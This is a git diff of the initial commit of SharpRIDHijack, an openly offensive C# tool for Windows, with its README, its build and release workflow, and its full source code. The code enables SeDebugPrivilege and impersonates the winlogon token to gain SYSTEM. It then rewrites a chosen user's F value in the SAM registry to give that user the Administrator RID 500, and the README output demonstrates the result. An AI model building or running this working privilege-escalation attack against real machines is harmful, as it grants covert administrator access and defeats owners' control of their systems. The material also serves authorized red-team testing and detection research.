initial commit

7 files changed, 569 insertions, 0 deletions

diff --git a/.github/workflows/build-release.yaml b/.github/workflows/build-release.yaml
new file mode 100644
index 0000000..40b22ef
--- /dev/null
+++ b/.github/workflows/build-release.yaml
@@ -0,0 +1,55 @@
+name: Build and Release SharpRIDHijack
+
+on:
+  push:
+    tags:
+      - 'v*'
+
+permissions:
+  contents: write
+
+jobs:
+  build-and-release:
+    runs-on: windows-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Setup MSBuild
+        uses: microsoft/setup-msbuild@v2
+        with:
+          msbuild-version: '17.0'
+
+      - name: Setup NuGet
+        uses: nuget/setup-nuget@v2
+
+      - name: Restore NuGet packages
+        run: nuget restore SharpRIDHijack.sln
+
+      - name: Build solution (AnyCPU)
+        run: msbuild SharpRIDHijack.sln /p:Configuration=Release /p:Platform="Any CPU"
+
+      - name: Build solution (x64)
+        run: msbuild SharpRIDHijack.sln /p:Configuration=Release /p:Platform=x64
+
+      - name: Build solution (x86)
+        run: msbuild SharpRIDHijack.sln /p:Configuration=Release /p:Platform=x86
+
+      - name: Collect binaries
+        run: |
+          mkdir build
+          Copy-Item -Path "SharpRIDHijack\bin\Release\SharpRIDHijack.exe" -Destination "build\SharpRIDHijack-AnyCPU.exe"
+          Copy-Item -Path "SharpRIDHijack\bin\x64\Release\SharpRIDHijack.exe" -Destination "build\SharpRIDHijack-x64.exe"
+          Copy-Item -Path "SharpRIDHijack\bin\x86\Release\SharpRIDHijack.exe" -Destination "build\SharpRIDHijack-x86.exe"
+
+      - name: Release
+        uses: softprops/action-gh-release@v2
+        with:
+          files: build/*
+          draft: false
+          prerelease: false
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..7c9042c
--- /dev/null
+++ b/README.md
@@ -0,0 +1,123 @@
+# SharpRIDHijack
+
+`SharpRIDHijack` is an offensive security tool designed for performing RID (Relative Identifier) hijacking on Windows systems. It escalates privileges by impersonating the SYSTEM account and modifying the SAM registry to assign an administrative RID to a specified user account. The tool supports both command-line and installer-based execution.
+
+> **WARNING**: This tool is for **authorized security testing only**. Unauthorized use may violate laws and regulations. The author and contributors are not responsible for misuse. Always obtain explicit permission before testing any system.
+
+## Features
+
+- **Privilege Escalation**: Escalates to SYSTEM by impersonating the winlogon process token.
+- **RID Hijacking**: Modifies the SAM registry to assign an administrative RID (default: 500) to a target user.
+
+## Installation
+
+### Prerequisites
+
+- **.NET Framework**: Version 4.7.2 or later.
+- **Visual Studio or MSBuild**: For compiling the C# source code.
+- **Git**: To clone the repository.
+- **Windows**: Compatible with Windows 10/11 (other versions may require offset adjustments for SAM registry).
+
+### Steps
+
+- Clone the repository:
+
+```
+PS C:\> git clone https://github.com/heqnx/SharpRIDHijack.git
+PS C:\> cd SharpRIDHijack
+```
+
+- Compile the source code with Visual Studio by opening `SharpRIDHijack.sln`
+
+- Alternatively, compile with MSBuild:
+
+```
+PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SharpRIDHijack.csproj
+```
+
+## Usage
+
+### Command-Line Flags
+
+- Run SharpRIDHijack.exe with a target username to perform RID hijacking. The tool requires administrative privileges.
+
+```
+PS C:\> Usage: SharpRIDHijack.exe <username>
+```
+
+## Examples
+
+### Perform RID Hijacking via Command-Line
+
+- Hijack the RID of the `lowpriv` user to grant administrative privileges:
+
+```
+PS C:\> SharpRIDHijack.exe lowpriv
+[inf] SeDebugPrivilege enabled
+[inf] Successfully impersonated WinLogon, running as NT AUTHORITY\SYSTEM
+[inf] Original RID: 000003EB (1003)
+[inf] Original F value:
+03 00 01 00 00 00 00 00 CB 5C 3B 54 CA B5 DB 01 00 00 00 00 00 00 00 00 F4 6D 86 48 CA B5 DB 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EB 03 00 00 01 02 00 00 10 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00
+[inf] Found RID 1003 at offset 48
+[inf] New F value:
+03 00 01 00 00 00 00 00 CB 5C 3B 54 CA B5 DB 01 00 00 00 00 00 00 00 00 F4 6D 86 48 CA B5 DB 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F4 01 00 00 01 02 00 00 10 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00
+```
+
+- Note the user is explicitly in the administrators group when checking with `net user`:
+
+```
+PS C:\> net user lowpriv
+User name                    lowpriv
+
+...
+
+Local Group Memberships      *Users
+Global Group memberships     *None
+The command completed successfully.
+```
+
+- User does show up with an administrator SID and associated privileges:
+
+```
+PS C:\> whoami /user
+
+USER INFORMATION
+----------------
+
+User Name               SID
+======================= ============================================
+DESKTOP-C9VFZ4T\lowpriv S-1-5-21-1743776718-435079111-2757990620-500
+
+PS C:\> whoami /priv
+
+PRIVILEGES INFORMATION
+----------------------
+
+Privilege Name                            Description                                                        State
+========================================= ================================================================== ========
+...
+SeRestorePrivilege                        Restore files and directories                                      Disabled
+SeDebugPrivilege                          Debug programs                                                     Enabled
+SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
+SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
+...
+SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
+SeCreateGlobalPrivilege                   Create global objects                                              Enabled
+SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
+...
+```
+
+
+## Automated Releases
+
+Check the GitHub Releases page for the new release with attached binaries.
+
+## License
+
+This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the LICENSE file for details.
+
+## Disclaimer
+
+`SharpRIDHijack` is provided "as is" without warranty. The author and contributors are not liable for any damages or legal consequences arising from its use. Use responsibly and only in authorized environments.
+
+
diff --git a/SharpRIDHijack.sln b/SharpRIDHijack.sln
new file mode 100644
index 0000000..91e7c30
--- /dev/null
+++ b/SharpRIDHijack.sln
@@ -0,0 +1,25 @@
+

+Microsoft Visual Studio Solution File, Format Version 12.00

+# Visual Studio Version 17

+VisualStudioVersion = 17.13.35931.197 d17.13

+MinimumVisualStudioVersion = 10.0.40219.1

+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpRIDHijack", "SharpRIDHijack\SharpRIDHijack.csproj", "{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}"

+EndProject

+Global

+	GlobalSection(SolutionConfigurationPlatforms) = preSolution

+		Debug|Any CPU = Debug|Any CPU

+		Release|Any CPU = Release|Any CPU

+	EndGlobalSection

+	GlobalSection(ProjectConfigurationPlatforms) = postSolution

+		{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU

+		{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}.Debug|Any CPU.Build.0 = Debug|Any CPU

+		{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}.Release|Any CPU.ActiveCfg = Release|Any CPU

+		{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}.Release|Any CPU.Build.0 = Release|Any CPU

+	EndGlobalSection

+	GlobalSection(SolutionProperties) = preSolution

+		HideSolutionNode = FALSE

+	EndGlobalSection

+	GlobalSection(ExtensibilityGlobals) = postSolution

+		SolutionGuid = {04A5D51C-502B-4CC6-BACC-87EAD1E0A476}

+	EndGlobalSection

+EndGlobal

diff --git a/SharpRIDHijack/App.config b/SharpRIDHijack/App.config
new file mode 100644
index 0000000..5754728
--- /dev/null
+++ b/SharpRIDHijack/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>

+<configuration>

+    <startup> 

+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />

+    </startup>

+</configuration>
\ No newline at end of file
diff --git a/SharpRIDHijack/Program.cs b/SharpRIDHijack/Program.cs
new file mode 100644
index 0000000..14157ae
--- /dev/null
+++ b/SharpRIDHijack/Program.cs
@@ -0,0 +1,272 @@
+using System;

+using System.IO;

+using System.Linq;

+using System.Security.Principal;

+using System.Runtime.InteropServices;

+using System.Diagnostics;

+using Microsoft.Win32;

+using System.Text;

+using System.Runtime.Remoting.Contexts;

+

+namespace SharpRIDHijack

+{

+    public static class Utils

+    {

+        [DllImport("advapi32.dll", SetLastError = true)]

+        [return: MarshalAs(UnmanagedType.Bool)]

+        private static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);

+

+        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]

+        private static extern bool CloseHandle(IntPtr handle);

+

+        [DllImport("advapi32.dll", SetLastError = true)]

+        private static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

+

+        [DllImport("advapi32.dll", SetLastError = true)]

+        private static extern bool RevertToSelf();

+

+        [DllImport("advapi32.dll", SetLastError = true)]

+        private static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

+

+        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]

+        private static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

+

+        [DllImport("kernel32.dll", SetLastError = true)]

+        private static extern IntPtr GetCurrentProcess();

+

+        private const int SE_PRIVILEGE_ENABLED = 0x00000002;

+        private const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;

+        private const UInt32 STANDARD_RIGHTS_READ = 0x00020000;

+        private const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;

+        private const UInt32 TOKEN_DUPLICATE = 0x0002;

+        private const UInt32 TOKEN_IMPERSONATE = 0x0004;

+        private const UInt32 TOKEN_QUERY = 0x0008;

+        private const UInt32 TOKEN_QUERY_SOURCE = 0x0010;

+        private const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;

+        private const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;

+        private const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;

+        private const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;

+        private const UInt32 TOKEN_READ = STANDARD_RIGHTS_READ | TOKEN_QUERY;

+        private const UInt32 TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;

+        private const int ADMIN_RID = 0x1F4; // 500, default Administrator RID

+        private const string SAM_REGISTRY_PATH = @"SAM\SAM\Domains\Account\Users\{0}";

+

+        private struct TokPriv1Luid

+        {

+            public int Count;

+            public long Luid;

+            public int Attr;

+        }

+

+        public static void LogInfo(string message) => Console.WriteLine($"[inf] {message}");

+        public static void LogError(string message) => Console.WriteLine($"[err] {message}");

+

+        public static bool IsAdministrator()

+        {

+            using (WindowsIdentity identity = WindowsIdentity.GetCurrent())

+            {

+                WindowsPrincipal principal = new WindowsPrincipal(identity);

+                return principal.IsInRole(WindowsBuiltInRole.Administrator);

+            }

+        }

+

+        public static bool EnableDebugPrivilege()

+        {

+            IntPtr hProc = GetCurrentProcess();

+            IntPtr hTok = IntPtr.Zero;

+            try

+            {

+                if (!OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hTok))

+                {

+                    LogError($"OpenProcessToken failed: {Marshal.GetLastWin32Error()}");

+                    return false;

+                }

+

+                TokPriv1Luid tp = new TokPriv1Luid { Count = 1, Luid = 0, Attr = SE_PRIVILEGE_ENABLED };

+                if (!LookupPrivilegeValue(null, "SeDebugPrivilege", ref tp.Luid))

+                {

+                    LogError($"LookupPrivilegeValue failed: {Marshal.GetLastWin32Error()}");

+                    return false;

+                }

+

+                if (!AdjustTokenPrivileges(hTok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero))

+                {

+                    LogError($"AdjustTokenPrivileges failed: {Marshal.GetLastWin32Error()}");

+                    return false;

+                }

+

+                LogInfo("SeDebugPrivilege enabled");

+                return true;

+            }

+            catch (Exception ex)

+            {

+                LogError($"Failed to enable SeDebugPrivilege: {ex.Message}");

+                return false;

+            }

+            finally

+            {

+                if (hTok != IntPtr.Zero)

+                    CloseHandle(hTok);

+            }

+        }

+

+        public static bool EscalateToSystem()

+        {

+            if (!EnableDebugPrivilege())

+            {

+                LogError("Failed to enable SeDebugPrivilege");

+                return false;

+            }

+

+            var winlogonProcs = Process.GetProcessesByName("winlogon");

+            if (winlogonProcs.Length == 0)

+            {

+                LogError("No winlogon process found");

+                return false;

+            }

+

+            using (Process proc = winlogonProcs[0])

+            {

+                IntPtr tokenHandle = IntPtr.Zero;

+                try

+                {

+                    if (!OpenProcessToken(proc.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle))

+                    {

+                        LogError($"OpenProcessToken failed: {Marshal.GetLastWin32Error()}");

+                        return false;

+                    }

+

+                    if (!ImpersonateLoggedOnUser(tokenHandle))

+                    {

+                        LogError($"ImpersonateLoggedOnUser failed: {Marshal.GetLastWin32Error()}");

+                        return false;

+                    }

+

+                    LogInfo($"Successfully impersonated WinLogon, running as {WindowsIdentity.GetCurrent().Name}");

+                    return true;

+                }

+                catch (Exception ex)

+                {

+                    LogError($"Escalation failed: {ex.Message}");

+                    return false;

+                }

+                finally

+                {

+                    if (tokenHandle != IntPtr.Zero)

+                        CloseHandle(tokenHandle);

+                }

+            }

+        }

+

+        public static bool RIDHijack(string username)

+        {

+            if (string.IsNullOrWhiteSpace(username))

+            {

+                LogError("Username cannot be empty");

+                return false;

+            }

+

+            if (!WindowsIdentity.GetCurrent().IsSystem)

+            {

+                LogError("Not running as SYSTEM");

+                return false;

+            }

+

+            try

+            {

+                SecurityIdentifier sid;

+                try

+                {

+                    NTAccount account = new NTAccount(username);

+                    sid = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier));

+                }

+                catch (IdentityNotMappedException)

+                {

+                    LogError($"Cannot find username: {username}");

+                    return false;

+                }

+

+                string sidString = sid.ToString();

+                int rid = Convert.ToInt32(sidString.Substring(sidString.LastIndexOf('-') + 1));

+                string ridHex = rid.ToString("X8");

+                byte[] ridBinary = BitConverter.GetBytes(Convert.ToUInt16(ridHex, 16));

+                LogInfo($"Original RID: {ridHex} ({rid})");

+

+                using (RegistryKey user = Registry.LocalMachine.OpenSubKey(string.Format(SAM_REGISTRY_PATH, ridHex), true))

+                {

+                    if (user == null)

+                    {

+                        LogError($"Failed to open SAM registry key for RID {ridHex}");

+                        return false;

+                    }

+

+                    byte[] fVal = (byte[])user.GetValue("F");

+                    if (fVal == null || fVal.Length < 2)

+                    {

+                        LogError("Invalid F value in SAM registry");

+                        return false;

+                    }

+

+                    byte[] fValModified = (byte[])fVal.Clone();

+                    bool ridFound = false;

+                    for (int i = 0; i < fValModified.Length - 1; i++)

+                    {

+                        if (fValModified[i] == ridBinary[0] && fValModified[i + 1] == ridBinary[1])

+                        {

+                            LogInfo($"Found RID {rid} at offset {i}");

+                            fValModified[i] = 0xF4; // Admin RID (500)

+                            fValModified[i + 1] = 0x01;

+                            ridFound = true;

+                            break;

+                        }

+                    }

+

+                    if (!ridFound)

+                    {

+                        LogError("Failed to locate RID in F value");

+                        return false;

+                    }

+

+                    user.SetValue("F", fValModified);

+                    LogInfo($"New F value:\n{string.Join(" ", fValModified.Select(x => x.ToString("X2")))}");

+                }

+

+                return true;

+            }

+            catch (Exception ex)

+            {

+                LogError($"RID hijacking failed: {ex.Message}");

+                return false;

+            }

+            finally

+            {

+                if (!RevertToSelf())

+                    LogError($"Failed to revert impersonation: {Marshal.GetLastWin32Error()}");

+            }

+        }

+    }

+

+    public class Program

+    {

+        static void Main(string[] args)

+        {

+            if (args.Length == 0 || string.IsNullOrWhiteSpace(args[0]))

+            {

+                Utils.LogError($"Usage: {AppDomain.CurrentDomain.FriendlyName} <username>");

+                Environment.Exit(1);

+            }

+

+            string username = args[0];

+            if (!Utils.IsAdministrator())

+            {

+                Utils.LogError("Not running as Administrator");

+                Environment.Exit(1);

+            }

+

+            if (Utils.EscalateToSystem())

+            {

+                Utils.RIDHijack(username);

+            }

+        }

+    }

+}
\ No newline at end of file
diff --git a/SharpRIDHijack/Properties/AssemblyInfo.cs b/SharpRIDHijack/Properties/AssemblyInfo.cs
new file mode 100755
index 0000000..97d99eb
--- /dev/null
+++ b/SharpRIDHijack/Properties/AssemblyInfo.cs
@@ -0,0 +1,33 @@
+using System.Reflection;

+using System.Runtime.CompilerServices;

+using System.Runtime.InteropServices;

+

+// General Information about an assembly is controlled through the following

+// set of attributes. Change these attribute values to modify the information

+// associated with an assembly.

+[assembly: AssemblyTitle("SharpRIDHijack")]

+[assembly: AssemblyDescription("")]

+[assembly: AssemblyConfiguration("")]

+[assembly: AssemblyCompany("")]

+[assembly: AssemblyProduct("SharpRIDHijack")]

+[assembly: AssemblyCopyright("Copyright ©  2025")]

+[assembly: AssemblyTrademark("")]

+[assembly: AssemblyCulture("")]

+

+// Setting ComVisible to false makes the types in this assembly not visible

+// to COM components.  If you need to access a type in this assembly from

+// COM, set the ComVisible attribute to true on that type.

+[assembly: ComVisible(false)]

+

+// The following GUID is for the ID of the typelib if this project is exposed to COM

+[assembly: Guid("33bcb519-81a5-4ed8-b2a0-0a57b3cae54c")]

+

+// Version information for an assembly consists of the following four values:

+//

+//      Major Version

+//      Minor Version

+//      Build Number

+//      Revision

+//

+[assembly: AssemblyVersion("1.0.0.0")]

+[assembly: AssemblyFileVersion("1.0.0.0")]

diff --git a/SharpRIDHijack/SharpRIDHijack.csproj b/SharpRIDHijack/SharpRIDHijack.csproj
new file mode 100644
index 0000000..6a91570
--- /dev/null
+++ b/SharpRIDHijack/SharpRIDHijack.csproj
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>

+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />

+  <PropertyGroup>

+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>

+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>

+    <ProjectGuid>{33BCB519-81A5-4ED8-B2A0-0A57B3CAE54C}</ProjectGuid>

+    <OutputType>Exe</OutputType>

+    <RootNamespace>SharpRIDHijack</RootNamespace>

+    <AssemblyName>SharpRIDHijack</AssemblyName>

+    <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>

+    <FileAlignment>512</FileAlignment>

+    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>

+    <Deterministic>true</Deterministic>

+  </PropertyGroup>

+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">

+    <PlatformTarget>AnyCPU</PlatformTarget>

+    <DebugSymbols>true</DebugSymbols>

+    <DebugType>full</DebugType>

+    <Optimize>true</Optimize>

+    <OutputPath>bin\Debug\</OutputPath>

+    <DefineConstants>TRACE</DefineConstants>

+    <ErrorReport>prompt</ErrorReport>

+    <WarningLevel>4</WarningLevel>

+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>

+  </PropertyGroup>

+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">

+    <PlatformTarget>AnyCPU</PlatformTarget>

+    <DebugType>pdbonly</DebugType>

+    <Optimize>true</Optimize>

+    <OutputPath>bin\Release\</OutputPath>

+    <DefineConstants>TRACE</DefineConstants>

+    <ErrorReport>prompt</ErrorReport>

+    <WarningLevel>4</WarningLevel>

+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>

+  </PropertyGroup>

+  <ItemGroup>

+    <Reference Include="System" />

+    <Reference Include="System.Core" />

+    <Reference Include="System.Xml.Linq" />

+    <Reference Include="System.Data.DataSetExtensions" />

+    <Reference Include="Microsoft.CSharp" />

+    <Reference Include="System.Data" />

+    <Reference Include="System.Net.Http" />

+    <Reference Include="System.Xml" />

+  </ItemGroup>

+  <ItemGroup>

+    <Compile Include="Program.cs" />

+    <Compile Include="Properties\AssemblyInfo.cs" />

+  </ItemGroup>

+  <ItemGroup>

+    <None Include="App.config" />

+  </ItemGroup>

+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />

+</Project>
\ No newline at end of file